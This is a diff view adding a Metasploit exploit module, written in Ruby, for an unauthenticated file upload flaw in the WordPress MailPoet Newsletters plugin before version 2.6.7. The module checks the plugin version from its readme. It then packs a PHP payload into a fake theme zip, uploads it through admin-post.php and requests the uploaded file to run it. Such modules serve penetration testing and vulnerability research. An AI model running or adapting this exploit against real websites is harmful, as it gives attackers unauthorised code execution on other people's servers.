|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload', |
| 17 | + 'Description' => %q{ |
| 18 | + The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7 |
| 19 | + is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme |
| 20 | + functionality to upload a zip file containing the payload. The plugin used the |
| 21 | + admin_init hook without knowning the hook is also executed for unauthenticated |
| 22 | + users when calling the right URL. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Marc-Alexandre Montpas', # initial discovery |
| 27 | + 'Christian Mehlmauer' # metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] |
| 33 | + ], |
| 34 | + 'Privileged' => false, |
| 35 | + 'Platform' => ['php'], |
| 36 | + 'Arch' => ARCH_PHP, |
| 37 | + 'Targets' => [ ['wysija-newsletters < 2.6.7', {}] ], |
| 38 | + 'DefaultTarget' => 0, |
| 39 | + 'DisclosureDate' => 'Jul 1 2014')) |
| 40 | + end |
| 41 | + |
| 42 | + def create_zip_file(theme_name, payload_name) |
| 43 | + # the zip file must match the following: |
| 44 | + # -) Exactly one folder representing the theme name |
| 45 | + # -) A style.css in the theme folder |
| 46 | + # -) Additional files in the folder |
| 47 | + |
| 48 | + content = { |
| 49 | + File.join(theme_name, 'style.css') => '', |
| 50 | + File.join(theme_name, payload_name) => payload.encoded |
| 51 | + } |
| 52 | + |
| 53 | + zip_file = Rex::Zip::Archive.new |
| 54 | + content.each_pair do |name, content| |
| 55 | + zip_file.add_file(name, content) |
| 56 | + end |
| 57 | + |
| 58 | + zip_file.pack |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt') |
| 63 | + res = send_request_cgi({ |
| 64 | + 'uri' => readme_url, |
| 65 | + 'method' => 'GET' |
| 66 | + }) |
| 67 | + # no readme.txt present |
| 68 | + if res.nil? || res.code != 200 |
| 69 | + return Msf::Exploit::CheckCode::Unknown |
| 70 | + end |
| 71 | + |
| 72 | + # try to extract version from readme |
| 73 | + # Example line: |
| 74 | + # Stable tag: 2.6.6 |
| 75 | + version = res.body[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] |
| 76 | + |
| 77 | + # readme present, but no version number |
| 78 | + if version.nil? |
| 79 | + return Msf::Exploit::CheckCode::Detected |
| 80 | + end |
| 81 | + |
| 82 | + print_status("#{peer} - Found version #{version} of the plugin") |
| 83 | + |
| 84 | + if Gem::Version.new(version) < Gem::Version.new('2.6.7') |
| 85 | + return Msf::Exploit::CheckCode::Appears |
| 86 | + else |
| 87 | + return Msf::Exploit::CheckCode::Safe |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + def exploit |
| 92 | + theme_name = rand_text_alpha(10) |
| 93 | + payload_name = "#{rand_text_alpha(10)}.php" |
| 94 | + |
| 95 | + zip_content = create_zip_file(theme_name, payload_name) |
| 96 | + |
| 97 | + uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php') |
| 98 | + |
| 99 | + data = Rex::MIME::Message.new |
| 100 | + data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") |
| 101 | + data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') |
| 102 | + data.add_part('themeupload', nil, nil, 'form-data; name="action"') |
| 103 | + data.add_part('Upload', nil, nil, 'form-data; name="submitter"') |
| 104 | + post_data = data.to_s |
| 105 | + |
| 106 | + payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name) |
| 107 | + |
| 108 | + print_status("#{peer} - Uploading payload to #{payload_uri}") |
| 109 | + res = send_request_cgi({ |
| 110 | + 'method' => 'POST', |
| 111 | + 'uri' => uri, |
| 112 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 113 | + 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, |
| 114 | + 'data' => post_data |
| 115 | + }) |
| 116 | + |
| 117 | + if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' |
| 118 | + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") |
| 119 | + end |
| 120 | + |
| 121 | + # Files to cleanup (session is dropped in the created folder): |
| 122 | + # style.css |
| 123 | + # the payload |
| 124 | + # the theme folder (manual cleanup) |
| 125 | + register_files_for_cleanup('style.css', payload_name) |
| 126 | + |
| 127 | + print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") |
| 128 | + |
| 129 | + print_status("#{peer} - Executing payload #{payload_uri}") |
| 130 | + res = send_request_cgi({ |
| 131 | + 'uri' => payload_uri, |
| 132 | + 'method' => 'GET' |
| 133 | + }) |
| 134 | + end |
| 135 | +end |
0 commit comments